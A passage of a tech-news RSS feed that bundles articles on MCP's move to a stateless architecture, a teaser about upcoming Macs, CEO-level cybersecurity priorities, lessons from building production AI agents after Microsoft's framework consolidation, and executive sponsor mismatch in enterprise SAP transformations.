<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4201254/model-context-protocol-is-going-stateless-to-make-scaling-simpler.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Macs are coming soon, here’s everything we know]]></title>
<description><![CDATA[Apple has a lineup of multiple new Macs launching later this year. This includes the first-ever touchscreen MacBook, the first M6 machines, and more. Here’s everything we know so far about new Macs launching soon.]]></description>
<link>https://tsecurity.de/de/3691680/ios-mac-os/new-macs-are-coming-soon-heres-everything-we-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691680/ios-mac-os/new-macs-are-coming-soon-heres-everything-we-know/</guid>
<pubDate>Fri, 24 Jul 2026 15:33:04 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="feat-image"><img src="https://9to5mac.com/wp-content/uploads/sites/6/2025/10/macbook-pro-m5-14-inch.webp?w=1600"></div><p class="wp-block-paragraph">Apple has a lineup of multiple new Macs launching later this year. This includes the first-ever touchscreen MacBook, the first M6 machines, and more. Here’s everything we know so far about new Macs launching soon.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[3 cybersecurity issues that should keep every CEO awake at night]]></title>
<description><![CDATA[For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.



Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organization...]]></description>
<link>https://tsecurity.de/de/3691226/it-security-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691226/it-security-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.</p>



<p class="wp-block-paragraph">Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.</p>



<p class="wp-block-paragraph">The obvious conclusion is that we are asking the wrong questions.</p>



<p class="wp-block-paragraph">Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.</p>



<p class="wp-block-paragraph">In my view, there are three far more fundamental issues that deserve the attention of every chief executive.</p>



<h2 class="wp-block-heading">1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality</h2>



<p class="wp-block-paragraph">Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.</p>



<p class="wp-block-paragraph">It is the growing disconnect between executive perception and operational reality.</p>



<p class="wp-block-paragraph">Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.</p>



<p class="wp-block-paragraph">Unfortunately, cyber attackers do not read dashboards.</p>



<p class="wp-block-paragraph">Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.</p>



<p class="wp-block-paragraph">The problem is rarely a lack of effort.</p>



<p class="wp-block-paragraph">It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.</p>



<p class="wp-block-paragraph">Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.</p>



<p class="wp-block-paragraph">Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.</p>



<h2 class="wp-block-heading">2. Organizational inertia, and the need for executive structure to evolve faster</h2>



<p class="wp-block-paragraph">Cyber criminals continue to evolve rapidly. Large organizations generally do not.</p>



<p class="wp-block-paragraph">This is the second issue that should concern every CEO.</p>



<p class="wp-block-paragraph">Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.</p>



<p class="wp-block-paragraph">Very rarely do they stop to redesign how cybersecurity operates.</p>



<p class="wp-block-paragraph">The result is what I described several years ago as the “<a href="https://www.amazon.com/Cybersecurity-Spiral-Failure-How-Break/dp/1637353057/">Cybersecurity Spiral of Failure</a>”.</p>



<ul class="wp-block-list">
<li>As complexity and regulation increase, organizations invest in more security products.</li>



<li>More products create more complexity.</li>



<li>More products and greater complexity generate more alerts.</li>



<li>More alerts require more analysts.</li>



<li>More analysts produce more reports.</li>



<li>More reports continue to build up executive confidence.</li>



<li>Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.</li>
</ul>



<p class="wp-block-paragraph">And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.</p>



<p class="wp-block-paragraph">This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.</p>



<p class="wp-block-paragraph">Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.</p>



<p class="wp-block-paragraph">The cybersecurity function itself has evolved dramatically. Many executive structures have not.</p>



<p class="wp-block-paragraph">This organizational inertia extends beyond technology: It affects budgeting cycles, <a href="https://www.cio.com/article/4193990/reallocating-cybersecurity-capital-in-the-mythos-era.html">investment priorities</a>, procurement processes, accountability models and decision-making speed.</p>



<p class="wp-block-paragraph">Cyber attackers innovate every day. Organizational change often takes years.</p>



<p class="wp-block-paragraph">That imbalance should worry every CEO.</p>



<h2 class="wp-block-heading">3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak</h2>



<p class="wp-block-paragraph">The third issue is potentially the most significant over the coming decade.</p>



<ul class="wp-block-list">
<li>Artificial intelligence, autonomous agents and machine identities</li>



<li>Software supply chain complexity.</li>



<li>Quantum computing, and post-quantum cryptography</li>
</ul>



<p class="wp-block-paragraph">Each of these developments represents far more than another technical trend.</p>



<p class="wp-block-paragraph">Together, they fundamentally change the dynamics of cybersecurity.</p>



<p class="wp-block-paragraph">Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.</p>



<p class="wp-block-paragraph">Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.</p>



<p class="wp-block-paragraph">Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.</p>



<p class="wp-block-paragraph">None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.</p>



<p class="wp-block-paragraph">Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.</p>



<p class="wp-block-paragraph">Waiting until some of those risks become obvious will almost certainly be too late.</p>



<p class="wp-block-paragraph">Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.</p>



<p class="wp-block-paragraph">But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.</p>



<p class="wp-block-paragraph">That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.</p>



<h2 class="wp-block-heading">Leadership will determine who succeeds</h2>



<p class="wp-block-paragraph">Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.</p>



<p class="wp-block-paragraph">Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.</p>



<p class="wp-block-paragraph">What remains within the control of every CEO is how their organization responds.</p>



<p class="wp-block-paragraph">Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?</p>



<p class="wp-block-paragraph">How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?</p>



<p class="wp-block-paragraph">Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?</p>



<p class="wp-block-paragraph">These questions will increasingly determine organizational success.</p>



<p class="wp-block-paragraph">The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.</p>



<p class="wp-block-paragraph">They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.</p>



<p class="wp-block-paragraph">That transformation cannot be delegated. It begins with the CEO.</p>



<p class="wp-block-paragraph">And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Microsoft agent framework wars are over. The real architecture decision starts now]]></title>
<description><![CDATA[Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?



At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the fo...]]></description>
<link>https://tsecurity.de/de/3691079/ai-nachrichten/the-microsoft-agent-framework-wars-are-over-the-real-architecture-decision-starts-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691079/ai-nachrichten/the-microsoft-agent-framework-wars-are-over-the-real-architecture-decision-starts-now/</guid>
<pubDate>Fri, 24 Jul 2026 11:04:58 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?</p>



<p class="wp-block-paragraph">At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the foundation for enterprise AI, and picking the wrong one felt like an expensive mistake. I spent a lot of time helping teams weigh the trade-offs.</p>



<p class="wp-block-paragraph">Looking back, I think we were asking the wrong question. I certainly was.</p>



<p class="wp-block-paragraph">I watched teams spend months debating SDKs while the decisions that actually decided whether their applications survived production went unexamined. Some built elaborate orchestration layers for workflows that a few deterministic functions would have handled. Others avoided agent frameworks entirely and later found they’d designed themselves into a corner.</p>



<p class="wp-block-paragraph">Then Microsoft settled it for us. It <a href="https://learn.microsoft.com/en-us/agent-framework/overview/">introduced the unified Agent Framework</a>, quietly moved Semantic Kernel and AutoGen into <a href="https://devblogs.microsoft.com/agent-framework/migrate-your-semantic-kernel-and-autogen-projects-to-microsoft-agent-framework-release-candidate/">maintenance mode</a>, and the debate I’d spent months refereeing was suddenly over. Turns out the answer to “which of the three” was “none of the three, here’s a fourth.” The framework hit version 1.0 and general availability in April 2026, stable across .NET and Python.</p>



<p class="wp-block-paragraph">What surprised me wasn’t the decision. It was how fast a debate that had eaten so much of our attention stopped mattering. Microsoft changed the menu.</p>



<p class="wp-block-paragraph">It didn’t change the meal.</p>



<h2 class="wp-block-heading">The framework was never the hard part</h2>



<p class="wp-block-paragraph">Framework selection dominated almost every early conversation I had about enterprise agents. Which SDK do we standardize on? Which orchestration model gives us the most flexibility? Which one is Microsoft actually betting on?</p>



<p class="wp-block-paragraph">Fair questions. But after a year of watching these projects play out, I’ve slowly come around to a different view. Those weren’t the questions that decided anything.</p>



<p class="wp-block-paragraph">The first question I ask now is much smaller. Does this thing actually need an agent?</p>



<p class="wp-block-paragraph">It sounds obvious, and I still get it wrong sometimes. But it’s the mistake I see most. On one project, a team spent weeks designing a multi-agent workflow for a process that ran the same four steps every time: read a document, validate it, call an API, send a notification. The diagrams looked great. The system in production didn’t. A few well-tested functions would have been easier to build, easier to maintain and a lot easier to trust.</p>



<p class="wp-block-paragraph">Part of this is just that “<strong>agent</strong>” has become the word everyone reaches for. Sometimes it’s the right call. Sometimes it’s a workflow we already knew how to build, wearing a newer label. An agent earns its complexity when it genuinely has to decide things you can’t predetermine, choosing between tools, adapting to what it finds, working out its own next step. If you already know every step, you have a workflow, and a workflow is usually the better engineering choice. The consolidation didn’t change that. It just made it easier to see.</p>



<h2 class="wp-block-heading">What building production agents actually taught me</h2>



<p class="wp-block-paragraph">Once I stopped fixating on frameworks, the same three problems kept showing up. None of them had anything to do with the SDK.</p>



<h3 class="wp-block-heading">Context beats model choice</h3>



<p class="wp-block-paragraph">Early on I spent a lot of time comparing models, the way you’d agonize over a restaurant menu and then order what you always order. Now I spend most of it thinking about context, which is far less fun and far more useful.</p>



<p class="wp-block-paragraph">I’ve watched good models fail because they were handed too much, not too little. One team I worked with gave the model access to nearly every internal document they had on the theory that more information meant better answers. It went the other way. Responses got slower, less consistent and sometimes skipped right past the thing that actually mattered. When we cut the context down to only what the task needed, the quality jumped almost immediately. I didn’t predict that. It taught me to be suspicious of “just give it everything.”</p>



<p class="wp-block-paragraph">The best agent systems I’ve worked on weren’t the ones with the biggest context windows. They were the ones careful about what reached the model, and when. That’s not something the framework hands you.</p>



<h3 class="wp-block-heading">Failure is where the real work is</h3>



<p class="wp-block-paragraph">Most agent demos look great because they’re built around the happy path. Production doesn’t extend that courtesy.</p>



<p class="wp-block-paragraph">I remember a project where everything held up in testing. Then a downstream API timed out after the agent had already completed several earlier steps. We couldn’t just restart, because part of the business process had already gone through. We ended up spending far more time on recovery logic than we ever spent on prompts. That project changed how I think about this work. The hard part was never getting the model to make a decision. It was making sure the system didn’t fall apart when reality refused to follow the script.</p>



<p class="wp-block-paragraph">Tool calls fail partway through. APIs return inconsistent data. Models call the same tool over and over because the last answer wasn’t what they wanted. That’s not the exception; that’s a normal Tuesday. Whether you retry, roll back, pause for a human or push on with partial results is a judgment call, and no framework is going to make it for you.</p>



<h3 class="wp-block-heading">Identity is the real security boundary</h3>



<p class="wp-block-paragraph">This one surprised me most. The moment an agent stops being a chatbot and starts touching real business systems, identity matters more than orchestration.</p>



<p class="wp-block-paragraph">Every project gets to the same question eventually. Who is this agent actually acting as? The developer’s credentials? A service account? The user who asked? Get it wrong and you’ve built something autonomous running with more access than any single person should have, which is exactly the kind of thing that looks fine until an audit. The Agent Framework, like most modern tooling, makes it easier to wire agents to tools through standards like the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. That helps. But where human approval belongs, what needs extra authorization, how much rope to give the thing, those are still yours to decide.</p>



<h3 class="wp-block-heading">The surprises weren’t technical</h3>



<p class="wp-block-paragraph">Here’s what I didn’t see coming. The hardest part of last year wasn’t technical at all. It was organizational. The moment a team heard “agent,” expectations shifted under everyone’s feet. Business stakeholders started expecting full autonomy. Developers assumed the thing could reason its way through anything. People started designing for flexibility before we’d even agreed on what problem we were solving. The word did damage before any code did. I found myself spending as much time resetting expectations as I did discussing architecture.</p>



<h2 class="wp-block-heading">Build for change, not for today’s winner</h2>



<p class="wp-block-paragraph">I don’t think the teams that struggled last year picked the wrong framework. Semantic Kernel was reasonable. AutoGen was reasonable. Foundry made sense for plenty of cases. I’d have signed off on any of them.</p>



<p class="wp-block-paragraph">The ones that got hurt put all their eggs in one framework, treating it as the foundation of the whole system instead of as one more dependency. Microsoft provided a migration path. But teams that had tightly coupled their applications to framework-specific abstractions discovered that migrating and rewriting are not the same thing. That wasn’t Microsoft’s doing. It was their own architecture’s. The teams that moved easily had kept their business logic, prompts and orchestration loose enough to evolve independently of any one SDK. For them, the change was a manageable project, not a teardown.</p>



<p class="wp-block-paragraph">For what it’s worth, nobody I work with is treating this as an emergency. Most are moving the smaller workloads first, watching how they behave and leaving the production-critical systems alone until they actually understand the new abstractions. That’s the right instinct. And I doubt this is the last consolidation we’ll see, the ecosystem is still young, frameworks will keep absorbing each other and over time the differences between them will be operational more than architectural.</p>



<p class="wp-block-paragraph">I don’t regret the framework debates, honestly. They were reasonable at the time. What changed wasn’t Microsoft’s roadmap.</p>



<p class="wp-block-paragraph">It was mine. Watching these systems run in production taught me that the framework is the easiest piece to swap out. Recovery logic, context management, security boundaries, the business workflow itself, those stay with you long after today’s SDK gets replaced by tomorrow’s.</p>



<p class="wp-block-paragraph">So, Microsoft made one decision easier by turning three frameworks into one. Good. Five years from now we’ll be on different tools, and we’ll still be asking the same handful of questions.</p>



<p class="wp-block-paragraph">Does this actually need an agent? Does it have the right context? Can it recover when something breaks, because something will? Is it acting as the right person?</p>



<p class="wp-block-paragraph">Those questions outlast every rewrite. That’s where I’ve learned to put my effort.</p>



<p class="wp-block-paragraph">Frameworks come and go. Good architecture has to survive all of them.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.infoworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sponsor mismatch is the silent killer of enterprise transformation]]></title>
<description><![CDATA[Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordin...]]></description>
<link>https://tsecurity.de/de/3691067/it-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691067/it-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</guid>
<pubDate>Fri, 24 Jul 2026 11:03:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.</p>



<p class="wp-block-paragraph">The questions were not coming from the delivery teams. They were coming from the executive sponsor.</p>



<p class="wp-block-paragraph">The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.</p>



<p class="wp-block-paragraph">This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.</p>



<p class="wp-block-paragraph">Most program failures are not execution failures. They are sponsor mismatches.</p>



<h2 class="wp-block-heading">When governance becomes a debate about delivery practices</h2>



<p class="wp-block-paragraph">When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.</p>



<p class="wp-block-paragraph">You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.</p>



<p class="wp-block-paragraph">None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.</p>



<p class="wp-block-paragraph">When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.</p>



<p class="wp-block-paragraph">The compounding cost is not unique to any single program. <a href="https://www.pmi.org/blog/why-executive-sponsorship-fuels-projects">PMI’s research on executive sponsorship</a> consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.</p>



<h2 class="wp-block-heading">Authority is rarely the issue. Literacy is</h2>



<p class="wp-block-paragraph">When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?</p>



<p class="wp-block-paragraph">In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.</p>



<p class="wp-block-paragraph">This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.</p>



<p class="wp-block-paragraph"><a href="https://hbr.org/2015/05/how-to-be-an-effective-executive-sponsor">Harvard Business Review’s research on effective executive sponsorship</a> has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.</p>



<p class="wp-block-paragraph"><a href="https://www.prosci.com/resources/articles/change-management-best-practices">Prosci’s longstanding benchmark studies on change management</a> have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.</p>



<h2 class="wp-block-heading">Shift the conversation from delivery practices to business risk</h2>



<p class="wp-block-paragraph">When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.</p>



<p class="wp-block-paragraph">On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.</p>



<p class="wp-block-paragraph">The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.</p>



<p class="wp-block-paragraph">This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.</p>



<p class="wp-block-paragraph">In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.</p>



<p class="wp-block-paragraph">The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.</p>



<p class="wp-block-paragraph">There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:</p>



<h2 class="wp-block-heading">If the decision has to go above the sponsor, they are not the sponsor.</h2>



<p class="wp-block-paragraph">Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.</p>



<p class="wp-block-paragraph">For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.</p>



<p class="wp-block-paragraph">A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why enterprises should care about Nokia’s AI-RAN platform]]></title>
